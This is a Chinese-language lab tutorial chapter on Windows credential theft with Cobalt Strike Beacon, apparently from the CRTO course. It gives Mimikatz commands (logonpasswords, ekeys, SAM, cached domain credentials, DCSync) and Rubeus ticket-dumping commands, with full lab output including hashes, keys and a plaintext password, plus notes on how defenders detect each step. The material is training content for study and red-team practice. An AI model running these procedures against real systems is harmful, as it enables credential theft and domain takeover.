09-认证信息窃取
1-概述
一旦在机器上获得权限,就可以获得经过身份验证的其他用户的凭证信息。凭证可以采用纯文本(用户名和密码)、哈希(NTLM、AES、DCC、NetNTLM 等)和 Kerberos 票证的形式。本章将介绍如何转储各种格式的凭证。第12章-用户模拟章节将展示如何利用这些不同的凭证格式
2-Beacon + Mimikatz
Cobalt Strike 有一个内置版本的 Mimikatz,可以使用它来提取各种凭据类型。但是,与控制台版本相比,Beacon 中的行为方式有些不同。每次在 Beacon 中执行 Mimikatz 时,它都会在一个新的临时进程中执行,然后该进程会被销毁。这意味着无法运行两个"相关"命令,例如:
beacon> mimikatz token::elevate
beacon> mimikatz lsadump::sam
从 CS 4.8 开始,可以用分号分隔多个命令,将它们链接在一起
beacon> mimikatz token::elevate ; lsadump::sam
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
552 {0;000003e7} 1 D 28330 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;000d4499} 2 F 3234168 DEV\bfarmer S-1-5-21-569305411-121244042-2357301523-1104 (15g,24p) Primary
* Thread Token : {0;000003e7} 1 D 3295086 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local SID : S-1-5-21-2281971671-4135076198-2136761646
SAMKey : b0664279732686cfbb4b788c078fea82
RID : 000001f4 (500)
User : Administrator
Hash NTLM: fc525c9683e8fe067095ba2ddc971889
lm - 0: 91b6e660bcac036ae7ab67a3d383bc82
ntlm- 0: fc525c9683e8fe067095ba2ddc971889
Beacon 也有自己的命令约定,使用!和@符号作为"修饰符"
使用!可以在运行给定命令之前将 Beacon提升为 SYSTEM,这样以高完整性运行非常有用的例如在dcsync攻击时。但在大多数情况下,!的直接替代品是token::elevate。例如:
beacon> mimikatz !lsadump::sam
@可以在运行给定命令之前模拟Beacon 的线程令牌,在 Mimikatz 需要与远程系统交互(例如使用 dcsync)的情况下很有用。这也与其他模拟令牌命令是兼容的,如make_token、steal_token
beacon> getuid
[*] You are DEV\bfarmer
beacon> make_token DEV\nlamb F3rrari
[+] Impersonated DEV\nlamb (netonly)
beacon> mimikatz @lsadump::dcsync /user:DEV\krbtgt
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
** SAM ACCOUNT **
SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 8/15/2022 4:01:04 PM
Object Security ID : S-1-5-21-569305411-121244042-2357301523-502
Object Relative ID : 502
Credentials:
Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
lm - 0: 207d5e08551c51892309c0cf652c353b
3-NTLM Hashes
Mimikatz的模块sekurlsa::logonpasswords能够"从内存中转储明文密码",但是微软在 Windows 10 及更高版本中实施了许多缓解措施,例如默认情况下禁用wdigest,减少密码明文出现的几率
该模块也能够获取 NTLM 哈希,可用来哈希传递和破解密码明文
注意:此命令需要提权后运行
beacon> mimikatz !sekurlsa::logonpasswords
Authentication Id : 0 ; 579458 (00000000:0008d782)
Session : Batch from 0
User Name : jking
Domain : DEV
Logon Server : DC-2
Logon Time : 8/31/2022 11:49:48 AM
SID : S-1-5-21-569305411-121244042-2357301523-1105
msv :
[00000003] Primary
* Username : jking
* Domain : DEV
* NTLM : 59fc0f884922b4ce376051134c71e22c
* SHA1 : 74fa9854d529092b92e0d9ebef7ce3d065027f45
* DPAPI : 0837e40088a674327961e1d03946f5f2
Cobalt Strike 还为此功能提供了一个简写命令logonpasswords。转储这些凭据后,转到"查看">"凭据"以查看。
根据OPSEC原则,此模块将打开 LSASS 的读取句柄,该句柄可记录在事件 4656 下。使用 Kibana 中保存的"LSASS 的可疑句柄"搜索可以查看到,所以使用前要平衡利弊
上述截图表明用户 WKSTN-2$(即 WKSTN-2 上的 SYSTEM)从 powershell.exe 获取了 LSASS 的句柄,其访问掩码为 0x1010,意味着PROCESS_QUERY_LIMITED_INFORMATION(0x1000)和 PROCESS_VM_READ(0x0010),这与 Mimikatz源代码(https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L163)实现一致。
4-Kerberos加密Keys
Mimikatz模块sekurlsa::ekeys可以转储当前登录用户的 Kerberos 加密密钥。由于目前大多数Windows 服务选择使用 Kerberos 认证而不是 NTLM,因此Kerberos 加密密钥更有助于进行Kerberos身份认证攻击,比如用这些密钥实施各种 Kerberos 滥用攻击
注意:此命令需要提权后运行
beacon> mimikatz !sekurlsa::ekeys
Authentication Id : 0 ; 459935 (00000000:0007049f)
Session : Batch from 0
User Name : jking
Domain : DEV
Logon Server : DC-2
Logon Time : 9/1/2022 7:29:19 AM
SID : S-1-5-21-569305411-121244042-2357301523-1105
* Username : jking
* Domain : DEV.CYBERBOTIC.IO
* Password : (null)
* Key List :
aes256_hmac 4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6
rc4_hmac_nt 59fc0f884922b4ce376051134c71e22c
rc4_hmac_old 59fc0f884922b4ce376051134c71e22c
rc4_md4 59fc0f884922b4ce376051134c71e22c
rc4_hmac_nt_exp 59fc0f884922b4ce376051134c71e22c
rc4_hmac_old_exp 59fc0f884922b4ce376051134c71e22c
注意:Mimikatz 可能会错误地将所有哈希标记为des_cbc_md4(https://github.com/gentilkiwi/mimikatz/issues/314)
在本例中,AES256 密钥就是我们想要的。这些哈希值不会自动填充到 Credential 数据中,可以通过View > Credentials > Add手动添加
根据OPSEC原则,该模块还打开了LSASS的读取句柄,使用前需要权衡利弊
5-SAM数据库读取
安全帐户管理器 (SAM) 数据库仅保存本地帐户的 NTLM 哈希。可以使用Mimikatz 模块lsadump::sam提取这些哈希。如果在整个环境中所有本地管理员帐户使用相同的密码,则横向移动将变得非常容易
注意:此命令需要提权后运行
beacon> mimikatz !lsadump::sam
Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local SID : S-1-5-21-2281971671-4135076198-2136761646
SAMKey : b0664279732686cfbb4b788c078fea82
RID : 000001f4 (500)
User : Administrator
Hash NTLM: fc525c9683e8fe067095ba2ddc971889
lm - 0: 91b6e660bcac036ae7ab67a3d383bc82
ntlm- 0: fc525c9683e8fe067095ba2ddc971889
根据OPSEC原则,此模块将打开 SAM 注册表配置单元的句柄。使用 Kibana 中保存的"可疑 SAM 配置单元句柄"搜索来查看它们,使用前权衡利弊
6-域缓存凭证
域缓存凭据 (DCC) 是为域用户登录本地计算机的情况而设计的,即使该计算机与域断开连接,本地设备会缓存域凭据,因此身份验证可以在本地进行,但这些凭据可以被离线提取和破解出明文
不幸的是,哈希格式不是 NTLM,因此无法用于传递哈希。它们唯一可行的用途是离线破解
Mimikatz模块lsadump::cache可以从HKLM\SECURITY中提取这些凭证哈希
注意:此命令需要提权后使用
beacon> mimikatz !lsadump::cache
Domain : WKSTN-2
SysKey : b9dc7de8b1972237bbbd7f82d970f79a
Local name : WKSTN-2 ( S-1-5-21-2281971671-4135076198-2136761646 )
Domain name : DEV ( S-1-5-21-569305411-121244042-2357301523 )
Domain FQDN : dev.cyberbotic.io
Policy subsystem is : 1.18
LSA Key(s) : 1, default {9f88abd7-1cb9-d741-372b-c883b3cbf843}
[00] {9f88abd7-1cb9-d741-372b-c883b3cbf843} c38164900449d2c6d81b557198ab0cbda2c0ce1c9f57c717cb221032ba1adffb
* Iteration is set to default (10240)
[NL$1 - 9/1/2022 8:10:06 AM]
RID : 00000450 (1104)
User : DEV\bfarmer
MsCacheV2 : 98e6eec9c0ce004078a48d4fd03f2419
[NL$2 - 9/1/2022 10:29:19 AM]
RID : 00000451 (1105)
User : DEV\jking
MsCacheV2 : 0d50dee9ed3f29d00282168297090d2a
可以使用hashcat(https://hashcat.net/hashcat/)破解这些哈希,我们需要将它们转换为可识别的格式,示例哈希(https://hashcat.net/wiki/doku.php?id=example_hashes)向我们展示了它应该是$DCC2$ # # 格式,DCC 的破解速度比 NTLM 慢几个数量级
根据OPSEC原则,此模块将打开 SECURITY 注册表配置单元的句柄。使用 Kibana 中保存的"可疑 SECURITY Hive 句柄"搜索来查看它们,使用前权衡利弊
7-提取 Kerberos 票证
全面的技术使用时会获取敏感资源的句柄,这些句柄很容易被审计和记录
Rubeus(https://github.com/GhostPack/Rubeus)是一个 C# 工具,专为 Kerberos 交互和滥用而设计,使用合法的 Windows API,它的triage命令将列出当前登录会话中的所有 Kerberos 票证,如果提权后运行则列出计算机上所有登录会话中的所有 Kerberos 票证
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe triage
Action: Triage Kerberos Tickets (All Users)
[*] Current LUID : 0x14b5fa
-----------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-----------------------------------------------------------------------------------------------------------------
| 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 6:10:14 PM |
| 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:14 PM |
| 0x14bf5e | bfarmer @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io | 9/1/2022 6:10:14 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | ldap/dc-2.dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x14b5fa | bfarmer @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 6:10:07 PM |
| 0x7049f | jking @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 5:29:20 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 5:28:29 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e4 | wkstn-2$ @ DEV.CYBERBOTIC.IO | ldap/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | krbtgt/DEV.CYBERBOTIC.IO | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | HTTP/squid.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | cifs/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | WKSTN-2$ | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | LDAP/dc-2.dev.cyberbotic.io/dev.cyberbotic.io | 9/1/2022 5:28:29 PM |
| 0x3e7 | wkstn-2$ @ DEV.CYBERBOTIC.IO | wkstn-2$@DEV.CYBERBOTIC.IO | 9/1/2022 7:43:42 AM |
-----------------------------------------------------------------------------------------------------------------
每个用户都有自己的登录会话,由 LUID(本地唯一标识符)表示
在此示例中,我们在 bfarmer 的 LUID是0x14b5fa
WKSN-2$ 机器帐户有自己的会话 0x3e4
jking 也有一个会话 0x7049f
服务名称 krbtgt 的票证是票证授予票证 (TGT),其他票证是票证授予服务票证 (TGS)。不同票证类型在Kerberos 章节中有更详细的描述
Rubeus 的dump命令将从内存中提取这些票证,但由于它使用 WinAPI,因此不需要打开 LSASS 的可疑句柄。如果没有提升权限,我们只能从自己的会话中提取票证
无需任何其他参数,Rubeus 将提取所有可能的票证,但我们可以使用/luid和/service参数来进行指定提取,例如我们只想要 jking 的 TGT,我们可以执行以下操作:
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe dump /luid:0x7049f /service:krbtgt
Action: Dump Kerberos Ticket Data (All Users)
[*] Target service : krbtgt
[*] Target LUID : 0x7049f
[*] Current LUID : 0x14b5fa
UserName : jking
Domain : DEV
LogonId : 0x754c2
UserSID : S-1-5-21-569305411-121244042-2357301523-1105
AuthenticationPackage : Kerberos
LogonType : Batch
LogonTime : 10/13/2022 9:36:19 AM
LogonServer : DC-2
LogonServerDNSDomain : DEV.CYBERBOTIC.IO
UserPrincipalName : jking@cyberbotic.io
ServiceName : krbtgt/DEV.CYBERBOTIC.IO
ServiceRealm : DEV.CYBERBOTIC.IO
UserName : jking
UserRealm : DEV.CYBERBOTIC.IO
StartTime : 10/13/2022 9:36:20 AM
EndTime : 10/13/2022 7:36:20 PM
RenewTill : 10/20/2022 9:36:20 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : EIkrCAL8wx98PVRBOZGDKC6Y0KReSosWtvXyv6rIefI=
Base64EncodedTicket :
doIFuj [...snip...] lDLklP
结果将以 base64 编码格式输出票证,还可以添加/nowrap选项将 base64 编码格式化成单行,更方便复制和粘贴
8-DCSync
目录复制服务 (MS-DRSR) 协议(https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47)用于在域控制器DC之间同步和复制 Active Directory 数据的
DCSync 是一种利用此协议从 DC 中提取用户名和凭据数据的技术
注意:这需要GetNCChanges(https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/b63730ac-614c-431c-9501-28d6aca91894),通常只有域管理员才能使用
Beacon 中使用dcsync命令,它后台调用mimikatz lsadump::dcsync实现
beacon> make_token DEV\nlamb F3rrari
beacon> dcsync dev.cyberbotic.io DEV\krbtgt
[DC] 'dev.cyberbotic.io' will be the domain
[DC] 'dc-2.dev.cyberbotic.io' will be the DC server
[DC] 'DEV\krbtgt' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : krbtgt
Credentials:
Hash NTLM: 9fb924c244ad44e934c390dc17e02c3d
ntlm- 0: 9fb924c244ad44e934c390dc17e02c3d
lm - 0: 207d5e08551c51892309c0cf652c353b
* Primary:Kerberos-Newer-Keys *
Default Salt : DEV.CYBERBOTIC.IOkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 51d7f328ade26e9f785fd7eee191265ebc87c01a4790a7f38fb52e06563d4e7e
aes128_hmac (4096) : 6fb62ed56c7de778ca5e4fe6da6d3aca
des_cbc_md5 (4096) : 629189372a372fda
如上使用lamb (域管理员)提取了 krbtgt 帐户的 NTLM 和 AES 密钥
根据OPSEC原则,上述操作会被审计,可以通过搜索 4662 事件id查询到,其中标识 GUID 为1131f6aa-9c07-11d1-f79f-00c04fc2dcd2(对于 DS-Replication-Get-Changes 和 DS-Replication-Get-Changes-All)或89e95b76-444d-4c62-991a-0facbeda640c(DS-Replication-Get-Changes-In-Filtered-Set)可以检测到目录复制操作
使用 Kibana 中的"可疑目录复制"搜索可发现
因此使用权需要权衡利弊
复制流量通常仅发生在域控制器之间,通过对典型的 DRS 流量进行审计以查找可疑的攻击